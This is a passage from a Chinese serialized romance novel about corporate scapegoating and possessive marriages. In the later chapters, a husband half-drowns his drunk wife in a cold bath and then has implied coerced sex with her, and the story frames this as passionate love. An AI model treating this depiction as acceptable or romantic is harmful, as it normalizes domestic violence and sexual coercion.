许愿看着清亮的茶汤却根本不敢喝,容浔不在意她的提防开口道:“沈略泄露了傅氏的商业机密,让傅氏损失高达几十亿之多,且挪用公款转移资产,这些你应该都能查得到。” “这都已经是板上钉钉的事情,这牢饭沈略是吃定了。” “当然,如果许总真的想帮他,那许总可是要帮他还清这笔钱还要给够我们傅氏好处的,不然……我们绝不会撤诉一定会将他送上法庭。” “许总若是真想付这笔钱那是绝对能付的出来的,毕竟盛景炎的资产都在你手里,你当然配得起。” 容浔意味深长:“只是不知道你为沈略花这么大笔钱盛总介不介意啊。” 他这番话逗笑了许愿。 “容浔,我们共事三年之久,我看着像傻瓜吗。” 许愿直言。 她当然不是傻瓜,三人组里就她最聪明。 “当然不是,许总聪明伶俐怎么会是傻瓜。”容浔回应。 “那我怎么可能会平白跳进你的陷阱白白给傅氏几十亿帮你们洗清另一个混蛋的罪行。” 许愿眼神里都是凉意。 “你不会无缘无故将一系列罪名安插到沈略身上,傅京礼再不是东西也不会故意针对他,那么仅有一种可能,这两件事瞒不住了,你们急需要一个替罪羊,你想要借此机会除掉沈略,而恰巧这个真正的罪犯是傅京礼在意的人所以你提出让沈略成为替罪羊。” “沈略的身份多好啊,傅氏即将离职的前高层,有权利有身份,极有可能做这些事,你能为傅氏除去隐患,傅京礼也能守住他在意的人。” 容浔脸上的笑意已经逐渐消散,许愿脸上讥讽的笑意一直挂着。 “那个人会是谁呢。” “是那个设计了我无数次最后被我撞断腿对我恨之入骨的傅长海吗。” 她直接开口,毫不遮掩。 傅长海,傅京礼的大伯,自傅京礼幼时教养过他一段时间,傅京礼父亲去世早,那段时间傅京礼曾将傅长海看做是自己的“父亲”,对他有着孺慕之情。 容浔冷着一张脸盯着许愿。 是的,许愿猜对了。 真正的罪人是傅长海。 他转移傅氏的资金到海外账户,盗取傅氏的机密资料卖到海外换取资金人脉,桩桩件件全都是傅长海做的。 傅京礼想要维护傅长海所以要毁掉沈略。 沈略知道吗?他应该是猜到了,就是因为猜到了所以才会在审讯室那般沉默寡言。 “真混蛋啊。” “傅家还有好人吗。” 许愿冷笑。 容浔阴着脸压低声音:“许总,饭可以乱吃但话可不能乱说,傅先生安分守己不会做任何违法乱纪的事,这件事是沈略做的。” 事实上容浔也恨极了傅长海,但没有办法,傅长海是傅家人是傅京礼的大伯,于情于理他都要帮。 “你这样激动做什么。”许愿看着他:“担心我曝光吗。” “放心,就算真要曝光我也会选个合适的机会,等到查清楚傅长海做的那些错事后一起放到网络上然后让他身败名裂,现在还远远不够呢。” 容浔面色愈发冷了。 “许愿,你该清楚你今天来傅氏是要求我们私下和解而不是来找茬的。” “你现在惹怒我能沈略能有什么好下场。” 许愿长指轻点的桌面。 “沈略为什么没有好下场,你以为你们的手真的这么长能伸到监狱去吗,你以为一直跟在我身后的邢队是什么人?你以为我现在的身份还护不住一个沈略吗。” “这的确是法治社会,所以傅家人不能只手遮天。” 许愿笑了:“不过我背后的人应该可以给我点时间让我查清楚真相再还沈略清白,所以……在此前你们动不了沈略也害不了他。” “他会在警局等到我查明真相的那一天。” 许愿解释的越清楚容浔心里就越慌。 他当然知道许愿的话不是无中生有的,以她如今的地位上面确实会给她这个面子。 就怕许愿这段时间真的会查到真相。 本想利用这件事让许愿低头,被想到却被许愿反将一军。 容浔眼神狠厉:“许愿,我实在不明白你为什么要这样做。” “如果说你研究治疗癌病的药物为那些穷人免费施药知名是为了提高自己的知名度那我可以理解,事实证明你的确做到了,但沈略这件事你根本不必掺进来。” “这是傅氏和沈略的事,本就与你无关。” “你安分的当你的许总,不要插手傅氏的事情。” 他在劝说许愿不要管沈略。 许愿已经没了继续跟他聊下去的欲望。 她站起身,眼神冰冷。 “从沈略答应我会辞职那天他就是我的人,这件事我管定了。” 第356章 迟来的深情,比草贱 “你还真是一如既往的嚣张。” 容浔眸色愈深:“看来今天我们只能不欢而散了。” 许愿没再理会,只留下背影。 容浔的心却沉下去,这件事不好办了啊。 他本以为许愿是个聪明人不会插手这件事,他们井水不犯河水,没想到许愿真能疯到这地步。 看来他要尽快解决沈略了,否则许愿身后的人如果真查出来什么,对傅氏也是不利的。 容浔瞥了眼一直在通话中的手机,淡淡道:“你都听到了,这次不是我不帮傅长海,而是没有办法,许愿的手段你也是清楚的。” 手机另一头的傅守越捏了捏眉心。 “我会安排的,这次的事多谢。” 他们关系并不算好,容浔在许愿来傅氏前就打通了他的电话。 容浔何尝不知道许愿的脾气,他做了两手准备,若是许愿肯低头,那这件事就能轻松解决,沈略的下场可想而知,可偏偏许愿就是要护着沈略。 他怎么能跟许愿硬碰硬呢。 傅长海的事他不是没有出力,而是无法出力。 他就是故意在这种时候告诉傅守越,这件事他无能为力。 容浔的心思傅守越怎么可能猜不到,他这也是被容浔算计了。 容浔是想帮傅长海不假,但是寻了沈略来当这个罪人其实也想故意通过这种方式除掉沈略,他早已经将沈略当成眼中钉肉中刺了,换个不被许愿看重的人这次的事或许不会掀起风浪,但偏偏容浔选了沈略。 沈略,许愿的好友,许愿不会轻易低头的。 这次毕竟是傅长海出事,一定不能让许愿把沈略救出来。 …… 许愿离开会议室不出意外的见到了傅京礼。 看来她会来傅氏的他们都猜得到。 许愿敛眉直接去了他的办公室,傅京礼并未多说什么,亲眼看到她进了办公室才跟过去。 秘书科的秘书面面相觑。 “许秘书是为沈秘书来的?” “说不准,也可能是因为合作的事来的。” “太可笑了,就现在傅家跟许秘书的关系,他们根本不会继续合作了,就我们知道的前段时间本来谈好的合作案最后盛总也没签合同转头就跟黎氏合作了,傅氏以后都没什么跟许秘书合作的可能。” “肯定是为沈秘书来的。” “沈秘书真的背叛了傅氏吗。” “那可是沈秘书啊……他怎么可能会背叛傅氏呢,我根本不相信。” “沈秘书递交了辞呈,他跟许秘书都那么了解傅氏,走不了才是正常的吧。” 有人提了这么一句。 秘书科众人顿时毛骨悚然。 能在傅氏秘书科被选上来的谁还不是精英?谁不清楚其中的猫腻?沈略这次摆明是被算计的,但他们都没敢说出这话来,纷纷看向那直肠子的秘书。 直肠子秘书室留着一头短发,此刻整个人都有些恍惚。 “许秘书能安全离开傅氏全因许秘书的身份和身后的人又因为跟傅总离婚不得已离开,可沈秘书跟她不一样,沈秘书是孤儿且是被傅总带回傅氏的,他的离开就是背叛,他知道那么多机密容秘书不会放他离开的。” “我们呢,我们以后也会这样吗。” “我们知道的东西……也不少啊,以后会有被逼着背锅的那天吗,如果许秘书还在还有人护住我们,可是许秘书不在,谁会在意我们这些小人物的死活。” “沈略都护不住他自己,我们又算什么东西?” 短发秘书像是在警告自己,可她出口的话却难免让人有种兔死狐悲的之感。 是啊,当初是傅氏高层的沈略都是说被抛弃就被抛弃了,他们又算什么? 当初他们弄错东西许愿没少帮他们扫尾,可没了许愿谁还管他们死活? 秘书科气氛一时低落起来。 可这种敏感时期,谁敢走,谁又愿意走?且不说傅氏薪酬给的足够多,她们心里慌却也清楚富贵险中求,已经在傅氏这么久也不会轻易离开……更何况沈略的例子在先,可能也没办法完好无损的离开。 是的,这就是容浔的计谋。 拉扯出沈略报复许愿,还能让傅守越出手解决问题,而他刚好可以利用沈略的事震慑下心里有其他想法的下属,让他们安安分分的在傅氏工作。 傅京礼的办公室还是老样子,她曾经留在这里的东西很大一部分都被盛景炎搜刮走了,但是她眼尖的看到桌上摆了一个猫咪玩偶。 她顿了下。 傅京礼观察到她的视线开口:“那个玩偶是我们结婚一周年的时候去A大大学城的娃娃机抓的,我们都不会抓娃娃,最后花光了购买的那几十个币才出了这么一个娃娃,好在是你喜欢的猫咪玩偶。” 许愿垂眸,笑意很轻很浅。 “错了。” 傅京礼疑惑,却听到许愿开口。 “当时我最喜欢的是那个红毛狐狸的玩偶,只是抓不到而已,所以自我安慰说最喜欢猫咪玩偶。” 许愿拿起这个玩偶,低头看着,仿佛此刻还能忆起两年前的事。 他们结婚一周年纪念日只有她记得,傅京礼没有放在心上,她陪着他谈合作签合同一直到晚上九点,这个时间回家路上路过A大看到热闹的大学城她才带上几分雀跃,好在傅京礼也由着她下了车,即便并不喜欢这样热闹的场合也随了她,只是全程都是她在抓娃娃。 不是多好的回忆。 礼物是她准备的,蛋糕是她准备的,那天的傅京礼甚至不知道是他们的结婚纪念日,挺可笑的。 可惜那时她被爱情迷了双眼,义无反顾的喜欢他,为他伤心难过,让自己活成了笑话。 “现在还留着这东西有什么意义呢。”许愿将猫咪玩偶重新丢回桌上,玩偶在桌上滚动一圈,险些掉到地上,傅京礼上前一步将玩偶重新推回原位。 “对我来说你的东西都很有纪念价值,我都留着,哪怕是这只玩偶。” 傅京礼的回答让许愿笑出声。 “傅京礼。”她抬眸,眼神冰冷:“你有没有听说过一句话。” “迟来的深情,比草贱。” 第357章 他算你哪门子哥哥 “知道吗,这个娃娃前阵子在我的公寓堆满了一个房间,可这些娃娃对我来说并不是多重要的东西,所以我全部都送到了附近的福利院或者幼儿园。” “一个玩偶罢了,我想要随时都可以得到,只是现在我已经不想要了,它对我并不重要。” 她说的是那次傅京礼发过微博抛出的就是这个玩偶,盛景炎就包揽了所有这类的娃娃买回来,还是同城自己派人去取的。 他是为了反击傅京礼,巧的是许愿也可以直面傅京礼用这个来嘲讽他。 她说的是不在意玩偶吗? 不,她说的其实是不在意那段感情那段过往了。 都是聪明人,他怎么可能听不出来呢。 傅京礼眸光晦涩:“一点可能都没有吗。” “盛世接收莱蒂斯企业的那天直播你在现场吧,你应该看到我身边的是盛景炎,这样你还不明白我的意思吗。” “我的身边只会是盛景炎,再不会有其他任何人。”许愿声音冷淡:“更何况我今天来找你也不是为了这些,我来找你是为了沈略。” “沈略的事你知情吗。” 提到沈略许愿眼神明显变冷。 傅京礼沉默,对于沈略的事他无法解释。 许愿拊掌笑了。 “傅京礼,你真是太棒了。” “你可以为了一个混蛋傅长海让她肆意伤害你曾经的妻子,也可以让你曾经的下属兄弟为他背负罪责,你们傅家人永远都是这样道貌岸然,明明坏事做尽却要装出一副深明大义的无辜模样。” “可偏偏就是这样最令人恶心。” “我不会让你们得逞的,沈略我是一定要帮一定要救的,你好自为之。” 她来傅氏不仅想见容浔知道真相,更是想知道傅京礼清不清楚容浔做的一切,不过是一个照面,傅京礼什么都没说她就已经清楚了。 他知道,他什么都知道,只是他并未阻止,因为对他来说任何人都比不上他那位血脉相亲的大伯。 许愿转身,手放到门把手时停下脚步。 “傅京礼,当一家企业从根系开始腐烂时他迟早会坍塌,盛世腐烂的根我在尝试拔除,那么傅氏腐烂的根你能狠心扒掉吗。” “如果拔不掉,长此以往,傅氏不会有好结局的。” 这是她最后的忠告。 傅长海的存在对于傅氏是毒瘤是定时炸弹。 没有人真的清楚傅长海到底做过多少伤天害理的事,更不清楚他做过多少违法乱纪的事,可傅京礼却执意要护着他。 护着他能有什么好处呢,一旦傅京礼曾经做恶被爆出,傅氏势必会受牵连,不会有好下场的。 …… 温栩栩倒是完全不知道沈略的事,回到训练营就是下一场公演舞台,今晚帮忙助演的男嘉宾是个当红爱豆江恒,温栩栩跟他舞台合作的感觉很不错,当晚节目组还在附近的星级饭店包了几间房庆祝今晚的公演。 温栩栩今晚喝的有点醉了,男爱豆显然对她有点意思,节目组也是有炒CP的意思,特意让江恒送她回去。 根据温栩栩给的地址,江恒的经纪人越往里开就越是诧异。 这区域是A市有名的富人区,有钱都买不到的别墅区。 车子开到别墅车子就被拦下来,待保安看到车内的温栩栩后也没有立刻放行,而是打了一通电话。 江恒的经纪人只觉得自己可能是知道了什么了不得的密辛,奈何自己家艺人现在也醉着呢。 温栩栩可能不是他能追的女人,经纪人叹气。 林岩是黎云笙的助理,接到保安电话时整个人都快疯了,喝酒就算了怎么还让男爱豆送回家呢,他们黎总吃起醋来那简直是男女都不分啊,许愿的醋都吃到现在了,更别说现在换成个男爱豆了! 江恒和经纪人送温栩栩下车,温栩栩醉的厉害,整个人和平日也不大一样,晕晕乎乎的险些跌到地上,江恒扶了一把,下一刻就觉得浑身发寒,像是被什么东西盯上。 温栩栩显然也感觉到了,她克制不住的抖了下,哪怕喝醉了那感官也十分敏锐。 她拽着江恒的衣袖瑟瑟发抖的耸着肩转身,正正好和男人那双黑漆漆的眸子对上。 黎云笙幽深冰冷的一双黑眸紧盯着她,他下颚绷紧,眉头也皱着,能够很清楚的感知到男人身上传来的冰冷的怒意,那种恨不能将她撕碎吞吃入腹的怒火。 温栩栩有些踉跄被吓得条件反射向后退了一步,正跌进江恒怀里。 男人眼神不仅冰冷还多了几分锐利。 江恒醉醺醺的拦在温栩栩身前,“妹妹别怕!谁欺负你哥哥都把他打跑!” 林岩捂住眼睛觉得心特别累,您要打人也先站稳了再说。 江恒的经纪人也突然开始心梗了,你倒是清醒点看看那是谁再口出狂言啊祖宗! 黎云笙向前,目光紧紧锁定温栩栩移动到距离她两米的位置,他嗓音冰寒:“过来。” 她被这声音冻的一哆嗦,醉了酒的她好像没办法演戏,就呆愣愣的望着他一动不动。 江恒醉着酒开始原地跺脚直嚷嚷:“你不许欺负我妹妹!” 江恒冲过去被脚下石子儿绊了下往前扑,还是林岩接住他没让这位祖宗爱豆破相。 林岩直接了当拿绳子把人捆了再堵住嘴扔车上一了百了,省的这位喝醉酒的男爱豆做点什么出格的事情惹得她们黎总生气。 做完这些林岩候在一旁继续待命,任凭江恒气愤的拿头磕车门也没人理他,江恒的经纪人是一言不发根本没敢吱声。 黎云笙眯眸,脸色愈发难看,他的手握的太用力指骨泛白。 周身的气压愈发低,嗓音更加冷:“温栩栩,我让你过来。” 温栩栩站在原地有点踟躇,还有点生气:“你抓我哥哥!是坏人,我不理你!” 她是真的醉的厉害,都开始乱认哥哥了。 “他算你哪门子哥哥。”黎云笙冷嗤,“温栩栩,我给你三秒钟时间,再不过来……你自己想想后果。” 他的声音冷淡中带着威胁。 第358章 惯坏她了 温栩栩早就醉傻了,根本想不通能有什么后果,但出于本能在男人喊出三时小步的挪动到男人身边,蔫头耷脑。 男人面色略有些缓和,“跟上来。” 话音落下男人扫了林岩一眼“你可以下班了。” 林岩微笑,“那黎总……我明天还需要来接您去公司吗。” 黎云笙眸色冷了一瞬落在温栩栩那张萌生春色的脸上,“不需要。” 林岩默默的为温栩栩祈祷这才开车带走了还在车上像只虫子蠕动想逃跑的江恒。 林岩取出江恒嘴巴里的临时找来的布,“不好意思了江少爷。” 把那塞嘴的布取出来却是没给他松绑,江恒艰难的坐直了身体一脚踢过去,江恒方输出100+,林岩方掉血数0. 江恒想用手拍沙发以表示自己的怒火,但双手被捆的结结实实只能气愤的直跺脚,“我妹妹呢!我要找我妹妹!” 林岩一扭头就对上江恒那双通红的眼睛,没忍住硬着头皮又用布把他嘴堵住了。 果然,世界清净了。 是的江恒也是世家出身,不过江家跟黎家比起来有些不够看,但怎么说这位也算个少爷。 江恒的经纪人就眼睁睁看着林岩带走了自己的艺人,拦都没敢拦,只能开车跟着担心出意外。 …… 别墅的大门“咔哒”被锁上,温栩栩退无可退即便是醉酒也升起一股恐慌害怕的感觉,没忍住的抖了抖。 她平日里也不这样,就是酒喝多了没有安全感,所以怂的厉害。 她有点想跑,男人已经行至她面前两手扣在墙面将人困在怀里。 “温栩栩,我不高兴。” 温栩栩眨了眨眼,像是小动物嗅到了危险低头弯腰想从他怀里钻出去,黎云笙冷笑一声一把擒住她的手腕,那力道太大几乎要将她手腕骨头拧断一般。 温栩栩疼的哼哼,黎云笙将她身体别过去将她脸摁到冰冷的墙面上,在她耳边语气冰冷道,“为什么总是惹我生气,为什么不能乖一点。” 他的小妻子……她想当明星他能给她资源,他爱玩他也哄着,可自己的小妻子醉了酒沾了别人的味道甜滋滋的叫着别人“哥哥”。 呵,惯的,都是他惯的。 黑暗中,那种自黎云笙身上散发的危险以及衣服被撕裂的声音终于开始令她恐惧。 温栩栩出于本能开始发抖,如果是没有醉酒的她,那她一定猜到黎云笙因为什么原因而生气,并能精准的安抚男人。 但此刻已经醉懵的温栩栩呆呆傻傻根本不知道自己能使出什么招数躲过面前男人的问责。 她有点怕,直至身上的衣服全都被撕扯成碎布条被丢进冰冷的浴池中,浑身发抖,淋浴里还不停喷洒着冰凉的水液。 她拍着浴池中的冷水往外爬,被黎云笙制住双肩强硬的摁在浴池中持续被冷水浇灌。 他暴虐的将她的头摁到冰冷的水面中,温栩栩咕噜咕噜被憋的喘不上气不停扑腾想从这种窒息的快要死掉的水中钻出来,黎云笙冰冷不带半分感情的声音在她耳畔响起:“脏掉的玩具就应该洗干净。” 温栩栩呜咽着挣扎,直到快被憋死男人才卡着时间松开手。 她眼眶通红泛泪,这次不是演出来的,是真的哭出来。 黎云笙的手捏着她的下巴逼着她抬头,另一只手强硬的拭去她的眼泪:“温栩栩,是你先来招惹我求我做我的人,怎么就这么认不清自己的身份。” 温栩栩哽咽着,已经被黎云笙这副可怕危险的模样吓傻了。 黎云笙微眯眸,看着面前女人默默落泪的模样唇角掀起一抹残忍的弧度:“你哭起来果然很漂亮。” 他的吻落在她唇角亲上去,温栩栩陡然闷哼一声,血的味道以及唇下的疼痛令她眼眶更红,眼泪不停的往下落。 “我喜欢看你哭的样子。”黎云笙声音危险扯住她的长发,她轻呼一声头发有些痛的仰起头,她整双眼睛都是红的,眼泪扑簌簌的往下落,但被他摁到浴池中脸上都是水渍让人分不清哪些是她流出的眼泪哪些是水。 她像是一只无助害怕的小兽对他有惧意不敢去推搡,因先前那逃离被黎云笙这么粗暴对待,她有点聪明的学会讨好他,伸出手去勾住他的手揉捏着。 黎云笙喉头微动并未言语,拽着她头发的动作轻了几分。 她抚摸着黎云笙的手试探性的望着他,一眼望进黎云笙那双火热且危险的黑眸。 她有些后怕放轻动作把黎云笙的手放在胸口,她偷偷看他一眼见他像是默许,这才执起他的手亲了口。 黎云笙面色仍旧冰冷并不阻止她的讨好,温栩栩这才抖了抖身上的水珠往外爬,黎云笙冷笑摁住她的肩膀稍一使力又把人摁到浴池里。 “洗干净了?”黎云笙语气十分危险恶劣,好像只是在清洗一个脏掉的小玩意儿。 在他眼里,若是心情好那温栩栩可以被他当做小宠物任性些倒也可以忍受,但倘若他心情不好,那她就是个随时随地能被他丢弃连宠物都算不上的小玩意儿。 就像现在这样,即便她再如何可怜他也不会同情她,只会像个看客看她在这浴池中随意扑腾。 温栩栩再度浸在冷水里,身体已经习惯性的开始发抖。 她呜咽了一声不知道是哪里来的力气突然就从浴池里蹿到他怀里,黎云笙一个不慎被她扑到地上,下意识揽住她的腰把人搂进怀中后身体一僵没了动作。 他怀中的人浑身冰冷但全身上下都是软乎乎的,碰一碰好像都要把人碰化了。 她在他怀里不敢造次,却是紧紧抱住黎云笙的腰不肯松手,生怕自己一松手就会被重新摁到冰冷的池水中。 “我冷,我疼……”她瑟缩着在他怀里寻求庇护。 她是极聪明的,哪怕醉了酒却也分得清善意和恶意。 身边是江恒她只会放松警惕,可现在面前的人却让她有种自己脖颈就被黎云笙紧握掐弄着,若是不让他高兴许是会被男人捏死也是可能的。 第359章 跟他一起困在黑暗中吧 温栩栩觉得自己此刻浑浑噩噩很懵,但还能猜出男人对她并不友好,此刻所有的恶意都来自面前的男人,但她没办法离开,脑子里的记忆告诉她面前的男人应该是很好哄的类型很容易就可以讨好。 她浑身湿透,身上的衣服紧贴在身上勾勒出明显的曲线,黎云笙的衣服也被她身上湿漉漉的水液浸湿,透着中间那层薄薄几乎可以忽略不计的衣料两人像是紧紧相贴。 似乎是在黎云笙怀中缓过了点劲,冰冷的身体也逐渐回温。 黎云笙黑漆漆的空洞的眸子盯着她,“温栩栩,我是谁。” 他的眼神再度变得危险,只等着怀中的小妻子的回答,倘若她的答案不能让他满意……那他不介意折断她的翅膀把人永远关在笼子里真的做一个予取予求的乖巧容器。 她从他怀里抬起头,对上黎云笙那可怕的眼神。 黎云笙的手擒着她的下颌,像是很轻柔的抚摸着她的脸,明明是很温柔的力度却藏匿着凶狠。她有点呆的捧住黎云笙的手,说出的话也磕磕绊绊:“是……阿笙啊……” 黎云笙眸中隐含的锐意终于隐去,温栩栩在他胸口蹭弄着:“是跟我结婚的阿笙啊……是家人……” 是的,在温栩栩心里,她其实对黎云笙没有多少男女之间的感情,只不过睡了这么多年又领了证,成为夫妻那就是家人。 “家人”这一词让黎云笙略有触动,脸色也有些古怪。 温栩栩自然是对黎云笙没爱的,但他们结了婚就被温栩栩在内心把两个人锁到一起,哪怕没有爱也清楚的知晓自己的另一半是黎云笙,是可以相濡以沫交付后背可以依托依赖的家人,只要他不推开她就可以一直是她最重要的家人。 家人。 黎云笙敛眉,漆黑瞳眸中像是有了温度。 黎家其实也是一团糟,他虽然降生在黎家是黎家嫡系长子,但谁又在乎他? 自降生他感受到的多是恶意,谁把他当做“家人”? 那个把他生下来的女人仅仅把他看做巩固身份地位的工具,亲生父亲更没有把他看做是儿子,黎老太太也可以为了权势无时无刻想要他这条命,他的“兄弟”们更是只在乎黎家继承人那个位子。哪怕是那个把股份和产业都留给他的黎老爷子也只是仔细斟酌后才确定他是最合适的继承人,但所谓的爷孙情是绝对没有的。 这世上黎云笙最不屑的甚至最厌恶的就是那矫情的令人恶心的“亲情”。 他年幼时也是看过一些家庭剧,看到上面演幸福的一家三口就觉得讽刺,甚至想拿一把火把那些人通通烧死。 黎云笙幼年时最讨厌听那些儿歌,什么烛光的里的妈妈,或者是世上只有妈妈好这类的歌只觉得讽刺,他曾在保镖陪伴下去儿童店买学习用具,那时店内放的就是这种儿歌,黎云笙暴躁愤怒的砸毁了店内的音响包括店内所有这类的光碟全被他砸毁。 至于父爱如山?他更没感觉过,听到这种内心涌上的只有呕意。 不同于旁的夫妻结合是因为爱,他的父母结合是因为家族是因为利益是因为生理需求,所以没有人会爱他,而他亦然痛恨这些人。 那是他对自己亲生父母的深沉恶意。 后来再长大一些,贵族学校的老师组织班级一起大合唱,为了讨好这些学生的家长还特意选了那些煽情的曲目,什么父亲,母亲的,总归是歌颂这些所谓的“父母”,黎云笙是绝不肯唱的,当那位班主任询问原因,黎云笙语气冰冷讥讽的回她“恶心”。 对的,就是恶心。 他不反对有人生下来就过的幸福快乐,更不觉得自己不幸福就要强硬带着别人一起痛苦。 但他生下来就身处地狱凭什么还要去应和那些幸福快乐的人去歌颂那些恶魔? 可他真的不在乎吗?不,就是因为太在乎太重感情才会因为这些小事而愤怒。 他生下来就没有家人的,可他期盼能有真正的亲人把他当做家人。 温栩栩吐出那两个字直直的戳中男人心底最柔软的心房,他手上的动作不受控制的加重,眼神有片刻的朦胧,待意识到面前的人是温栩栩眸光再度变得锋锐。 将人摁到冰冷的地板上,像是发泄的撕咬着她的唇瓣,像是恶兽想将她一起拽入那片黑暗的地狱。 家人?想当他的家人那就跟他一起困在黑暗中见不得光吧。 温栩栩痛呼着,等来的却是男人更加凶猛的吻。 …… 房间内厚重的窗帘被风吹动露出缝隙,细碎的阳光射进来映在她有些苍白的脸上,显得整个人脆弱可怜像是个被阳光照一照都要碎掉的瓷娃娃。 床上的所有用品,软枕到被子俱都是沉重的黑色,那种压得人喘不上气的颜色映衬着她的肌肤更白嫩,只身上那些青紫痕迹也更显可怖。 温栩栩“唔”了一声,才翻滚了下腰都快断了,她连连痛呼,只觉得浑身骨头都快要分家身上的皮肉也没有一处不疼的,大腿根更是酸疼的厉害,恐怕她敢下地就能摔地上。 温栩栩抬手捂住自己的眼睛嘤咛的哼了一声,又小心的翻滚着身体扑腾。 男人有力的手臂横在她腰上,感觉到她的动作面上多了几分不耐:“别动。” 真是拧巴的臭脾气啊。 温栩栩还没彻底清醒,也没想起来昨晚到底发生了什么事,但不妨碍她在心里吐槽黎云笙。 温栩栩撇嘴继续在男人怀里动来动去,但她实在太累了,又累又疼根本不敢太大动作,只能这么小小的发泄,还凑到男人胸口蹭来蹭,活像是昨晚上没得到教训还在这里到处惹火,心里没点数。 男人睁开眼,手抵着她的脑门把人推到一旁,温栩栩不老实的又往前凑,男人重重的“啧”了一声,触到那软肉就不轻不重的拍了下像是警告。 温栩栩“唔”了一声想被拍到死穴似的瘫在原地还真就一动不动了。 第360章 老实点别浪 不过也就是那么几分钟,她又开始在男人怀里作妖,亲亲这里摸摸那里,好像就是专程来惹火点火的,颇有一种点不着这货誓不罢休的劲头。 男人彻底清醒了,皱着眉垂头,温栩栩已经移动的爬到他身上,见他睁眼还讨好的笑了笑。 黎云笙捏着她的下巴玩弄着,嗓音沙哑带几分惑意,“还闹吗。” 听他这样的语气逗弄温栩栩呼吸也有些乱。 温栩栩舔了舔唇又在黎云笙颈间蹭着像是默认不闹了,看她这副乖巧的模样黎云笙心情颇好的玩着她的头发,“清醒了吗。” 温栩栩在他怀里哼哼算作回答。 黎云笙改去捏她的耳朵,声音已然沉下去:“还记得你昨晚怎么回来的吗?不好奇自己为什么在我这里?” 温栩栩身体僵住了,黎云笙另一只手也不闲着,有一搭没一搭的揉弄她腰间的软肉像是暗示又像是带着惩戒意味儿。 所以说温栩栩早上醒来那么乖巧还主动诱惑他其实就是因为想不起来昨晚的事,想把黎云笙忽悠过去翻篇别再找她算账。 虽然昨晚的事情忘得七七八八了,但动动脑子也知道自己跟江恒醉酒在夜店胡闹干不出什么好事儿来,指不定闹出多大的乱子才让黎云笙忍无可忍把她带回来教训一通。 是的,温栩栩就知道昨晚上自己肯定被教训了,就冲着今早浑身疼的劲头就能猜到。 温栩栩臊眉耷眼不吱声了,还讨好的叭叭叭亲着男人的下巴,亲完下巴还想去亲脸,被男人一个指头整个人都往后仰只能满脸委屈小心的瞧着男人。 她也就这种时候最乖最听话,平日里都跟头小狼崽子似的想咬人。 “问你话呢,老实点别浪。”男人声音散去冷意。 温栩栩吭叽的继续往他怀里扑,扑一次被男人推开一次,就是不想惯着她这转移话题的臭毛病。 温栩栩委屈的眼睛更红了直接张嘴吭哧咬着男人指尖磨着,还真像被欺负的小奶猫。 温栩栩十分委屈的磨咬着男人的指尖,“你不说我怎么知道昨晚的事呀。” 她哪里是真委屈啊,她就是个戏精,什么演不出来。 黎云笙面无表情的看着她,自带嘲讽一副我看着你演的表情。 温栩栩又“唔”了一声,含含糊糊道,“昨晚我不就是跟训练营和节目组一起去了夜店认识了点新朋友,大概跟江恒喝了点酒也没干什么啊,阿笙你不要大惊小怪无理取闹小肚鸡肠……”她这话越说声音越小。 黎云笙气笑了,伸手就去捏她的脸,直把人捏的喊疼眼睛里又水润润的快哭出来才罢休。 “你们去了一趟夜店现在全网都在猜你们恋爱结婚。”黎云笙指头重重点着她的额头,“你可真厉害,给我戴了顶结结实实的绿帽。” 温栩栩整个人都傻在了原地,愣是不敢轻信黎云笙话中深意,可清醒过来的温栩栩稍微动动脑子就能想明白一些利害关系。 她喉间发出求饶的呜咽声直接栽到黎云笙身上,装死:“我头好疼啊,阿笙揉一揉,头好痛……” 黎云笙冷笑没理她,温栩栩在他怀里蹭啊蹭蹭啊蹭,见黎云笙就是没打算理她更没打算给她台阶下,又开始吭叽重新埋到黎云笙颈项间声音软乎乎的,“阿笙你好过分啊。” 到底过分的是谁温栩栩还真就没点数,总归是长了张利嘴能把黑的说成白的。 温栩栩在他锁骨上亲了口这才继续道:“我都知道错了所以早上才在讨好你哄你开心,结果你还欺负我。” 她说完抬起头瞧向男人,眼巴巴的等着男人的特赦令。 黎云笙垂眸,视线扫过她红肿的唇瓣,一语道破:“知道错了?错在哪里。” 温栩栩:“……” 温栩栩不依:“那你昨晚都那么折腾我了,翻篇好不好。” 黎云笙拍拍她白嫩的脸打破她可笑的幻想:“不原谅,不翻篇。” 完全没有商量的余地。 温栩栩更蔫了,她垂头丧气一点都不觉得早死早超生是什么好事,如果可以的话最好是拖到地老天荒才好。 她小学生似的埋在男人怀里细数自己的罪状:“我不该晚上跟江恒一起胡闹出门,更不该跟晚上醉酒,错了。”她抬眸眼睛都水润润的,小模样可怜的很。 但眼底明显带着不服气的意味儿。 “不服气?”男人拿过手机丢给她,“自己打开微博看看。” 温栩栩如临大敌有点慌,如果只是单方面的被黎云笙问话那温栩栩还可以寄希望在这件事没闹大……但现在黎云笙让她看微博…… 她昨晚到底都干什么了还上热搜了?总不能是撒酒疯亲了人男爱豆吧! 不可能,真要亲了江恒那黎云笙这各种洁癖的男人肯定要给她摁进浴室洗嘴巴。 她到底干什么了不得的事情了让黎云笙看了热搜把她逮回来教育!想到这里温栩栩两股战战更是瑟瑟发抖了。 她倒不是怕黎云笙,他们互相不喜欢但是对彼此身体都十分满意,且都对对方有十足的可怕的占有欲,特别是黎云笙这老禽兽……那占有欲不是闹着玩的。 温栩栩吞咽了下口水,余光偷偷看了眼黎云笙,却见黎云笙唇角擒着一抹笑,十分随性慵懒但那危险的低气压几乎压得她喘不过气。 她忽视黎云笙的冷脸翻微博热搜,一点进去,啧,可了不得了,满屏都是她跟江恒,各大娱乐八卦号大V号都在发他俩的新闻消息,什么杜撰都有,还有不少热门同人文被顶上来。 还有人通宵画了她跟江恒的同人图被人疯狂转发,甚至还有人为了蹭热度特地在各类网站发表什么相关的,就为了蹭这波热度,收藏还真不少。 温栩栩看的眼花继续向下划,还不忘偷偷看男人此刻的表情,看到男人阴着脸就很想叹气。 黎云笙阴阳怪气:“恭喜你,还没有出道就已经黑红了一把,江恒的绯闻女友。” 第361章 可以尝试狡辩一下 温栩栩把手机丢到一边,哼哼唧唧的凑过去在男人胸口乱蹭:“那不行,江恒哪里配得上我,我就喜欢我老公这样的,让江恒有多远滚多远。” 黎云笙眸子漆黑幽幽的看着她:“温栩栩,你是不是没看到最重要的一条视频。” 温栩栩正在安抚他呢,被他这句话问的一愣。 啊?什么重要的视频啊?是她遗漏什么了? 温栩栩硬着头皮艰难的重新去爬着够被自己丢到床头的手机,结果下一秒就被男人迅速的压到床上,两手被领带捆住挣都挣不开。 “温栩栩,你胆子真大,我让你去娱乐圈可不是给我戴绿帽子的”男人眸光深沉幽暗,“你觉得这样好玩吗。” 